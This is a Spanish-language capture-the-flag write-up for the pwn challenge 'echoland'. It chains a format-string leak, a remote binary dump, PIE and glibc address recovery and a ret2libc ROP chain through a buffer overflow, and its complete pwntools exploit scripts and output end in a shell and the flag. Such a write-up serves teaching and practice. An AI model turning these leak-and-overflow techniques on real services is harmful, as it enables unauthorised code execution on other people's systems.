echoland
16 minutos de lectura
Se nos proporciona una instancia remota a la que conectarnos. A primera vista, parece que es vulnerable a Buffer Overflow:
$ nc 206.189.21.29 32084
🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> 1
>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/home/ctf/run_challenge.sh: line 2: 30 Segmentation fault ./echoland
Ncat: Broken pipe.
Y además no hay canario de pila (stack canary) porque no aparece el mensaje *** stack smashing detected ***
. Pero también tiene una vulnerabilidad de Format String:
$ nc 206.189.21.29 32084
🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> %x.%x.%x.%x
6e.fffffff4.10.1d
1. Scream.
2. Run outside.
> ^C
El problema aquí es que no tenemos el archivo binario, y no podemos usar GDB.
Vulnerabilidad de Format String
De momento, vamos a mostrar algunos valores de la pila usando la vulnerabilidad de Format String. Para ello, usaré el siguiente script en Python:
#!/usr/bin/env python3
from pwn import *
def get_process():
if len(sys.argv) != 2:
log.error(f'Usage {sys.argv[0]} <ip>:<port>')
host, port = sys.argv[1].split(':')
return remote(host, int(port))
def dump(p, i: int) -> bytes:
p.sendlineafter(b'> ', f'%{i}$lx'.encode())
return p.recvline().strip()
def main():
p = get_process()
for i in range(50):
log.info(f'{i + 1}: {dump(p, i + 1).decode()}')
p.close()
if __name__ == '__main__':
main()
Fugando direcciones de memoria
Podemos extraer los primeros 50 valores de la pila:
$ python3 dump.py 206.189.21.29:32084
[+] Opening connection to 206.189.21.29 on port 32084: Done
[*] 1: 6e
[*] 2: fffffff4
[*] 3: 10
[*] 4: 1d
[*] 5: 7fad04b214c0
[*] 6: 7ffc199e7718
[*] 7: 100000000
[*] 8: a786c243825
[*] 9: 0
[*] 10: 7ffc00000000
[*] 11: 100000000
[*] 12: 5607fa218400
[*] 13: 7fad0452cbf7
[*] 14: 1
[*] 15: 7ffc199e7718
[*] 16: 100008000
[*] 17: 5607fa2182ef
[*] 18: 0
[*] 19: 79bf86feecc2ba31
[*] 20: 5607fa218160
[*] 21: 7ffc199e7710
[*] 22: 0
[*] 23: 0
[*] 24: 2a4841810842ba31
[*] 25: 2aea7a18739cba31
[*] 26: 7ffc00000000
[*] 27: 0
[*] 28: 0
[*] 29: 7fad0490c8d3
[*] 30: 7fad048f2638
[*] 31: 69aae
[*] 32: 0
[*] 33: 0
[*] 34: 0
[*] 35: 5607fa218160
[*] 36: 7ffc199e7710
[*] 37: 5607fa21818e
[*] 38: 7ffc199e7708
[*] 39: 1c
[*] 40: 1
[*] 41: 7ffc199e8ea6
[*] 42: 0
[*] 43: 7ffc199e8eb1
[*] 44: 7ffc199e8eb9
[*] 45: 7ffc199e8ec9
[*] 46: 7ffc199e8ed3
[*] 47: 7ffc199e8ee0
[*] 48: 7ffc199e8ee6
[*] 49: 7ffc199e8eef
[*] 50: 7ffc199e8efb
[*] Closed connection to 206.189.21.29 port 32084
Mirando a estos valores, uno puede darse cuenta de que el binario tiene la protección PIE, porque hay algunos valores que comienzan con 56
(en hexadecimal).
Lo que PIE hace es que aleatoriza la dirección base del binario, de manera que las direcciones del binario no son estáticas (por ejemplo: main
, _start
…).
Además, podemos ver que el offset de la format string es 8:
$ nc 206.189.21.29 32084
🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> AAAABBBB%8$lx
AAAABBBB4242424241414141
1. Scream.
2. Run outside.
>
También podemos poner nuestro payload en la posición 9 (después de 8 bytes):
$ nc 206.189.21.29 32084
🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> %9$lx...AAAABBBB
4242424241414141...AAAABBBB
1. Scream.
2. Run outside.
>
Burlar la protección PIE es lo mismo que burlar ASLR, pero con direcciones del binario. La dirección del binario terminará en 000
en hexadecimal.
Vamos a coger la posición 20: 0x5607fa218160
(posiblemente la dirección de main
). Considerando esta dirección, el offset de la función será algo como 0x...160
No sabemos cuál es el offset correcto, pero podemos usar fuerza bruta para obtenerlo.
Si usamos un "%s"
podremos leer el contenido de una dirección si esta es válida. La idea para burlar PIE es leer la cabecera ELF ("\x7fELF"
). Esto se puede hacer así:
def main():
p = get_process()
main_position = 20
main_offset = 0x000160
offset_progress = log.progress('main() offset')
for i in range(0, 0x1000):
with context.local(log_level='CRITICAL'):
p = get_process()
main_addr = int(dump(p, main_position).decode(), 16)
offset = main_offset + i * 0x1000
offset_progress.status(hex(offset))
elf_addr = main_addr - offset
p.sendlineafter(b'> ', b'%9$s....' + p64(elf_addr))
try:
data = p.recvline().split(b'....')[0]
if b'\x7fELF' in data:
main_offset = offset
break
finally:
with context.local(log_level='CRITICAL'):
p.close()
elf_addr = main_addr - main_offset
log.info(f'Binary base address: {hex(elf_addr)}')
$ python3 dump.py 206.189.21.29:32084
[+] Opening connection to 206.189.21.29 on port 32084: Done
[◒] main() offset: 0x1160
[*] Binary base address: 0x55d4450bf000
[*] Closed connection to 206.189.21.29 port 32084
Nótese que hemos usado un _payload como %9$s....<address>
porque las strings en C terminan en byte nulo, y si ponemos la dirección al principio, la format string no será leída.
Saber la dirección base del binario es muy útil, porque podemos comenzar a extraer todas las instrucciones del binario y conseguir algo para analizar:
Aún así, hay un filtro:
$ nc 206.189.21.29 32084
🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> n
You do not have enough energy for that, you fainted!
Ncat: Broken pipe.
El programa no permite que el payload contenga la letra n
(a lo mejor, para prevenir format strings como %n
).
Además, si una dirección contiene un carácter de salto de línea (0x0a
), el proceso de extracción será distinto porque printf
imprimirá más de una línea.
Extracción del binario
Podemos usar este script para extraer todas las instrucciones del binario:
def main():
p = get_process()
main_position = 20
main_offset = 0x1160
main_addr = int(dump(p, main_position).decode(), 16)
elf_addr = main_addr - main_offset
log.info(f'Binary base address: {hex(elf_addr)}')
offset = 0
binary = []
while True:
addr = elf_addr + offset
if b'n' in p64(addr):
binary.append(b'\0')
offset += 1
continue
try:
p.sendlineafter(b'> ', b'%9$s....' + p64(addr))
data = p.recvuntil(b'1. Scream.').split(b'....')[0] + b'\0'
log.info(f'Dumping address: {hex(addr)} => {data}')
binary.append(data)
offset += len(data)
except (EOFError, KeyboardInterrupt):
log.success('Finished')
break
with open('echoland', 'wb') as f:
f.write(b''.join(binary))
$ python3 dump.py 206.189.21.29:32084
[+] Opening connection to 206.189.21.29 on port 32084: Done
[*] Binary base address: 0x5626d78da000
[*] Dumping address: 0x5626d78da000 => b'\x7fELF\x02\x01\x01\x00'
[*] Dumping address: 0x5626d78da008 => b'\x00'
[*] Dumping address: 0x5626d78da009 => b'\x00'
[*] Dumping address: 0x5626d78da00a => b'\x00'
[*] Dumping address: 0x5626d78da00b => b'\x00'
[*] Dumping address: 0x5626d78da00c => b'\x00'
[*] Dumping address: 0x5626d78da00d => b'\x00'
[*] Dumping address: 0x5626d78da00e => b'\x00'
[*] Dumping address: 0x5626d78da00f => b'\x00'
[*] Dumping address: 0x5626d78da010 => b'\x03\x00'
[*] Dumping address: 0x5626d78da012 => b'>\x00'
[*] Dumping address: 0x5626d78da014 => b'\x01\x00'
...
[*] Dumping address: 0x55679d18ba12 => b'\x00'
[*] Dumping address: 0x55679d18ba13 => b'\x00'
[+] Finished
[*] Closed connection to 206.189.21.29 port 32084
Y ya tenemos las instrucciones del binario. No obstante, el archivo está corrupto y no podemos usar un descompilador o un desensamblador directamente.
Este script se puede encontrar aquí: dump.py
.
Análisis del binario
Lo único que tenemos que hacer es coger una dirección de una entrada en la Tabla de Offsets Globales (Global Offset Table, GOT) para fugar una dirección de una función de Glibc en tiempo de ejecución usando la vulnerabilidad de Format String.
Estos son algunos fragmentos del binario que parecen útiles:
$ xxd echoland_dump
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0300 3e00 0100 0000 6011 0000 0000 0000 ..>.....`.......
00000020: 4000 0000 0000 0000 883b 0000 0000 0000 @........;......
00000030: 0000 0000 4000 3800 0d00 4000 1f00 1e00 ....@.8...@.....
00000040: 0600 0000 0400 0000 4000 0000 0000 0000 ........@.......
00000050: 4000 0000 0000 0000 4000 0000 0000 0000 @.......@.......
00000060: d802 0000 0000 0000 d802 0000 0000 0000 ................
00000070: 0800 0000 0000 0000 0300 0000 0400 0000 ................
...
00000540: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000550: 1d00 0000 1100 1a00 2040 0000 0000 0000 ........ @......
00000560: 0800 0000 0000 0000 006c 6962 632e 736f .........libc.so
00000570: 2e36 0065 7869 7400 7075 7473 0070 7574 .6.exit.puts.put
00000580: 6368 6172 0073 7464 696e 0070 7269 6e74 char.stdin.print
00000590: 6600 6d65 6d73 6574 0072 6561 6400 7374 f.memset.read.st
000005a0: 646f 7574 0073 7472 6368 7200 5f5f 6378 dout.strchr.__cx
000005b0: 615f 6669 6e61 6c69 7a65 0073 6574 7662 a_finalize.setvb
000005c0: 7566 0073 7472 636d 7000 5f5f 6c69 6263 uf.strcmp.__libc
000005d0: 5f73 7461 7274 5f6d 6169 6e00 474c 4942 _start_main.GLIB
000005e0: 435f 322e 322e 3500 5f49 544d 5f64 6572 C_2.2.5._ITM_der
000005f0: 6567 6973 7465 7254 4d43 6c6f 6e65 5461 egisterTMCloneTa
00000600: 626c 6500 5f5f 676d 6f6e 5f73 7461 7274 ble.__gmon_start
00000610: 5f5f 005f 4954 4d5f 7265 6769 7374 6572 __._ITM_register
00000620: 544d 436c 6f6e 6554 6162 6c65 0000 0000 TMCloneTable....
00000630: 0200 0000 0200 0200 0200 0200 0200 0200 ................
00000640: 0200 0000 0200 0200 0000 0200 0200 0200 ................
...
00000ff0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00001000: f30f 1efa 4883 ec08 488b 05d9 2f00 0048 ....H...H.../..H
00001010: 85c0 7402 ffd0 4883 c408 c300 0000 0000 ..t...H.........
00001020: ff35 5a2f 0000 f2ff 255b 2f00 000f 1f00 .5Z/....%[/.....
00001030: f30f 1efa 6800 0000 00f2 e9e1 ffff ff90 ....h...........
00001040: f30f 1efa 6801 0000 00f2 e9d1 ffff ff90 ....h...........
00001050: f30f 1efa 6802 0000 00f2 e9c1 ffff ff90 ....h...........
00001060: f30f 1efa 6803 0000 00f2 e9b1 ffff ff90 ....h...........
00001070: f30f 1efa 6804 0000 00f2 e9a1 ffff ff90 ....h...........
00001080: f30f 1efa 6805 0000 00f2 e991 ffff ff90 ....h...........
00001090: f30f 1efa 6806 0000 00f2 e981 ffff ff90 ....h...........
000010a0: f30f 1efa 6807 0000 00f2 e971 ffff ff90 ....h......q....
000010b0: f30f 1efa 6808 0000 00f2 e961 ffff ff90 ....h......a....
000010c0: f30f 1efa f2ff 252d 2f00 000f 1f44 0000 ......%-/....D..
000010d0: f30f 1efa f2ff 25b5 0000 000f 1f44 0000 ......%......D..
000010e0: f30f 1efa f2ff 25ad 0000 000f 1f44 0000 ......%......D..
000010f0: f30f 1efa f2ff 25a5 0000 000f 1f44 0000 ......%......D..
00001100: f30f 1efa f2ff 259d 0000 000f 1f44 0000 ......%......D..
00001110: f30f 1efa f2ff 2595 0000 000f 1f44 0000 ......%......D..
00001120: f30f 1efa f2ff 258d 0000 000f 1f44 0000 ......%......D..
00001130: f30f 1efa f2ff 2585 0000 000f 1f44 0000 ......%......D..
00001140: f30f 1efa f2ff 257d 0000 000f 1f44 0000 ......%}.....D..
00001150: f30f 1efa f2ff 2575 0000 000f 1f44 0000 ......%u.....D..
00001160: f30f 1efa 31ed 4989 d15e 4889 e248 83e4 ....1.I..^H..H..
00001170: f050 544c 8d05 f602 0000 488d 0d7f 0200 .PTL......H.....
00001180: 0048 8d3d 6701 0000 ff15 5200 0000 f490 .H.=g.....R.....
00001190: 488d 3d79 0000 0048 8d05 7200 0000 4839 H.=y...H..r...H9
000011a0: f874 1548 8b05 0000 0000 4885 c074 09ff .t.H......H..t..
...
00001ff0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00002000: 0100 0200 0000 0000 4e6f 7420 7573 6564 ........Not used
00002010: 2120 4d69 6768 7420 6865 6c70 2069 6e20 ! Might help in
00002020: 6465 6275 6767 696e 6700 003e 3e20 006e debugging..>> .n
00002030: 3063 6834 6e63 6833 7430 6775 3373 2474 0ch4nch3t0gu3s$t
00002040: 6831 2400 0000 0000 0af0 9fa6 8720 496e h1$.......... In
00002050: 7369 6465 2074 6865 2064 6172 6b20 6361 side the dark ca
00002060: 7665 2e20 f09f a687 0031 2e20 5363 7265 ve. .....1. Scre
00002070: 616d 2e00 0032 2e20 5275 6e20 6f75 7473 am...2. Run outs
00002080: 6964 652e 0a3e 2000 2e20 5275 6e20 6f75 ide..> .. Run ou
00002090: 7473 6964 652e 0a3e 2000 0a59 6f75 2064 tside..> ..You d
000020a0: 6f20 6e6f 7420 6861 7665 2065 6e6f 7567 o not have enoug
000020b0: 6820 656e 6572 6779 2066 6f72 2074 6861 h energy for tha
000020c0: 742c 2079 6f75 2066 6169 6e74 6564 2100 t, you fainted!.
000020d0: 6e6f 7567 6820 656e 6572 6779 2066 6f72 nough energy for
000020e0: 2074 6861 742c 2079 6f75 2066 6169 6e74 that, you faint
000020f0: 6564 2100 6e6f 7420 7265 636f 676e 697a ed!.not recogniz
00002100: 6520 796f 7520 616e 6420 7261 6e20 7468 e you and ran th
00002110: 6520 6f74 6865 7220 7761 7921 0077 6179 e other way!.way
00002120: 2100 6420 6361 6d65 2074 6f20 7265 7363 !.d came to resc
00002130: 7565 2079 6f75 2100 6520 746f 2072 6573 ue you!.e to res
00002140: 6375 6520 796f 7521 0058 00ef ffff b400 cue you!.X......
00002150: ffb4 009c efff ffcc 00ff cc00 f0ff ff74 ...............t
00002160: 0074 00f1 ffff e400 ffe4 002c f1ff ff04 .t.........,....
...
000039f0: 0000 2473 0000 0000 0000 0000 0000 0000 ..$s............
00003a00: 0000 0000 0000 0000 0024 7300 0000 0000 .........$s.....
00003a10: 0000 0000 ....
La Tabla de Enlaces a Procedimientos (PLT) es una sección del binario que tiene instrucciones de salto a la correspondiente entrada de la GOT (donde la dirección absoluta será guardada tras su resolución).
Esta es la sección PLT:
000010c0: f30f 1efa f2ff 252d 2f00 000f 1f44 0000 ......%-/....D..
000010d0: f30f 1efa f2ff 25b5 0000 000f 1f44 0000 ......%......D..
000010e0: f30f 1efa f2ff 25ad 0000 000f 1f44 0000 ......%......D..
000010f0: f30f 1efa f2ff 25a5 0000 000f 1f44 0000 ......%......D..
00001100: f30f 1efa f2ff 259d 0000 000f 1f44 0000 ......%......D..
00001110: f30f 1efa f2ff 2595 0000 000f 1f44 0000 ......%......D..
00001120: f30f 1efa f2ff 258d 0000 000f 1f44 0000 ......%......D..
00001130: f30f 1efa f2ff 2585 0000 000f 1f44 0000 ......%......D..
00001140: f30f 1efa f2ff 257d 0000 000f 1f44 0000 ......%}.....D..
00001150: f30f 1efa f2ff 2575 0000 000f 1f44 0000 ......%u.....D..
Lo sabemos porque son instrucciones de salto. Por ejemplo, la primera es:
$ pwn disasm 'f30f 1efa f2ff 252d 2f00 000f 1f44 0000'
0: f3 0f 1e fa endbr64
4: f2 ff 25 2d 2f 00 00 bnd jmp DWORD PTR ds:0x2f2d
b: 0f 1f 44 00 00 nop DWORD PTR [eax+eax*1+0x0]
En este código ensamblador, vemos que 0x2f2d
es la distancia a la correspondiente entrada de la GOT. Y la dirección de la PLT es 0x10cb
(realmente un offset porque PIE está habilitado), apuntando a la instrucción nop DWORD PTR [eax+eax*1+0x0]
.
Desarrollo del exploit
Ahora podemos calcular las direcciones de las entradas de la GOT y obtener sus valores:
def main():
p = get_process()
main_position = 20
main_addr = int(dump(p, main_position).decode(), 16)
log.info(f'Leaked main() address: {hex(main_addr)}')
main_offset = 0x1160
elf_addr = main_addr - main_offset
log.info(f'Binary base address: {hex(elf_addr)}')
print()
plt = [0x10cb, 0x10db, 0x10eb, 0x10fb, 0x110b,
0x111b, 0x112b, 0x113b, 0x114b, 0x115b]
got = [0x2f2d, 0x2eb5, 0x2ead, 0x2ea5, 0x2e9d,
0x2e95, 0x2e8d, 0x2e85, 0x2e7d, 0x2e75]
for pv, gv in zip(plt, got):
function_plt = elf_addr + pv
function_got = function_plt + gv
p.sendlineafter(b'> ', b'%9$s....' + p64(function_got))
leak = p.recvuntil(b'1. Scream.').split(b'....')[0]
leaked_addr = u64(leak.ljust(8, b'\0'))
log.info(f'Leaked function() address: {hex(leaked_addr)}')
p.close()
$ python3 solve.py 206.189.21.29:32084
[+] Opening connection to 206.189.21.29 on port 32084: Done
[*] Leaked main() address: 0x561e339cf160
[*] Binary base address: 0x561e339ce000
[*] Leaked function() address: 0x7fd430739640
[*] Leaked function() address: 0x7fd4307788f0
[*] Leaked function() address: 0x7fd430776aa0
[*] Leaked function() address: 0x7fd430883ee0
[*] Leaked function() address: 0x7fd43075af70
[*] Leaked function() address: 0x7fd430884e90
[*] Leaked function() address: 0x7fd430806140
[*] Leaked function() address: 0x7fd43079fc50
[*] Leaked function() address: 0x7fd4307773d0
[*] Leaked function() address: 0x7fd430739240
[*] Closed connection to 206.189.21.29 port 32084
Y ahí tenemos un montón de direcciones fugadas. Nos tenemos que preocupar de los últimos 3 caracteres en hexadecimal para encontrar una versión de Glibc que coincida con estos offsets.
Una sección del binario contiene los nombres de las funciones utilizadas:
00000560: 0800 0000 0000 0000 006c 6962 632e 736f .........libc.so
00000570: 2e36 0065 7869 7400 7075 7473 0070 7574 .6.exit.puts.put
00000580: 6368 6172 0073 7464 696e 0070 7269 6e74 char.stdin.print
00000590: 6600 6d65 6d73 6574 0072 6561 6400 7374 f.memset.read.st
000005a0: 646f 7574 0073 7472 6368 7200 5f5f 6378 dout.strchr.__cx
000005b0: 615f 6669 6e61 6c69 7a65 0073 6574 7662 a_finalize.setvb
000005c0: 7566 0073 7472 636d 7000 5f5f 6c69 6263 uf.strcmp.__libc
000005d0: 5f73 7461 7274 5f6d 6169 6e00 474c 4942 _start_main.GLIB
000005e0: 435f 322e 322e 3500 5f49 544d 5f64 6572 C_2.2.5._ITM_der
000005f0: 6567 6973 7465 7254 4d43 6c6f 6e65 5461 egisterTMCloneTa
00000600: 626c 6500 5f5f 676d 6f6e 5f73 7461 7274 ble.__gmon_start
00000610: 5f5f 005f 4954 4d5f 7265 6769 7374 6572 __._ITM_register
00000620: 544d 436c 6f6e 6554 6162 6c65 0000 0000 TMCloneTable....
Encontrando la versión de Glibc
Podemos usar libc.blukat.me para buscar diferentes versiones hasta que encontremos una que coincida. El problema aquí es que no sabemos qué función corresponde a qué offset.
Podemos comenzar poniendo todos los offset como puts
y buscar el offset de read
(al seleccionar una versión de Glibc). Hay una que tiene un offset para read
que se encuentra en nuestro conjunto de offsets:
Y de hecho, coincide con más funciones:
Ataque ret2libc
Ahora somos capaces de realizar un ataque ret2libc, porque podemos coger el offset de system
(0x4f550
) y el puntero a la string "/bin/sh"
(0x1b3e1a
).
Este procedimiento tiene que realizarse mediante una ROP chain porque es muy probable que NX esté habilitado.
Para crear la ROP chain, tenemos que usar un gadget pop rdi; ret
. Como no podemos usar ROPgadget
o ropper
en el binario porque está corrupto, tenemos que buscar el código máquina de pop rdi; ret
(offset 0x1463
):
$ pwn asm -c amd64 'pop rdi; ret'
5fc3
$ xxd echoland_dump | grep 5fc3
$ xxd echoland_dump | grep '5f c3'
00001460: 415e 415f c366 662e 0f1f 8400 0000 0000 A^A_.ff.........
Para explotar la vulnerabilidad de Buffer Overflow, tenemos que calcular el número de caracteres necesarios para alcanzar la dirección de retorno guardada en la pila, pero no podemos usar GDB. Por tanto, tenemos que usar prueba y error hasta encontrar la cantidad correcta:
$ python3 -c 'print("1\n" + "A" * 100)' | nc 206.189.21.29 32084
🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> >> /home/ctf/run_challenge.sh: line 2: 45 Segmentation fault ./echoland
$ python3 -c 'print("1\n" + "A" * 50)' | nc 206.189.21.29 32084
🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> >> Your friend did not recognize you and ran the other way!
$ python3 -c 'print("1\n" + "A" * 70)' | nc 206.189.21.29 32084
🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> >> Your friend did not recognize you and ran the other way!
$ python3 -c 'print("1\n" + "A" * 80)' | nc 206.189.21.29 32084
🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> >> Your friend did not recognize you and ran the other way!
$ python3 -c 'print("1\n" + "A" * 90)' | nc 206.189.21.29 32084
🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> >> /home/ctf/run_challenge.sh: line 2: 57 Segmentation fault ./echoland
$ python3 -c 'print("1\n" + "A" * 84)' | nc 206.189.21.29 32084
🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> >> Your friend did not recognize you and ran the other way!
/home/ctf/run_challenge.sh: line 2: 59 Segmentation fault ./echoland
$ python3 -c 'print("1\n" + "A" * 81)' | nc 206.189.21.29 32084
🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> >> Your friend did not recognize you and ran the other way!
/home/ctf/run_challenge.sh: line 2: 63 Segmentation fault ./echoland
Aunque parece que el offset es 80, realmente es 72 (se puede probar).
Finalmente, para hacer que el exploit funcione, tenemos que poner una instrucción ret
en nuestra ROP chain para evitar problemas con el alineamiento de la pila (stack alignment), offset 0x1464
(uno más que pop rdi; ret
).
Y con esto hemos completado el exploit:
#!/usr/bin/env python3
from pwn import context, log, p64, remote, sys, u64
context.bits = 64
context.arch = 'amd64'
def get_process():
if len(sys.argv) != 2:
log.error(f'Usage {sys.argv[0]} <ip>:<port>')
host, port = sys.argv[1].split(':')
return remote(host, int(port))
def dump(p, i: int, f: str = 'lx', prefix: bytes = b'') -> bytes:
p.sendlineafter(b'> ', prefix + f'%{i}${f}'.encode())
return p.recvline().strip()
def main():
p = get_process()
main_position = 20
main_addr = int(dump(p, main_position).decode(), 16)
log.info(f'Leaked main() address: {hex(main_addr)}')
main_offset = 0x1160
elf_addr = main_addr - main_offset
log.info(f'Binary base address: {hex(elf_addr)}')
printf_plt = elf_addr + 0x110b
printf_got = printf_plt + 0x2e9d
printf_offset = 0x64f70
p.sendlineafter(b'> ', b'%9$s....' + p64(printf_got))
printf_addr = u64(p.recvline().split(b'....')[0].ljust(8, b'\0'))
log.success(f'Leaked printf() address: {hex(printf_addr)}')
glibc_addr = printf_addr - printf_offset
log.info(f'Glibc base address: {hex(glibc_addr)}')
pop_rdi_ret_offset = 0x1463
ret_offset = 0x1464
system_offset = 0x4f550
bin_sh_offset = 0x1b3e1a
pop_rdi_ret = elf_addr + pop_rdi_ret_offset
ret = elf_addr + ret_offset
system_addr = glibc_addr + system_offset
bin_sh_addr = glibc_addr + bin_sh_offset
offset = 72
junk = b'A' * offset
payload = junk
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(ret)
payload += p64(system_addr)
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'>> ', payload)
p.interactive()
if __name__ == '__main__':
main()
Flag
Y tenemos una shell en la instancia remota:
$ python3 solve.py 206.189.21.29:32084
[+] Opening connection to 206.189.21.29 on port 32084: Done
[*] Leaked main() address: 0x55a09ca2a160
[*] Binary base address: 0x55a09ca29000
[+] Leaked printf() address: 0x7f373f62ef70
[*] Glibc base address: 0x7f373f5ca000
[*] Switching to interactive mode
$ ls
echoland
flag.txt
libc.so.6
run_challenge.sh
$ cat flag.txt
HTB{bl1nd_R0p_1s_c0ol_a1nt_1t?}
El exploit completo se puede encontrar aquí: solve.py
.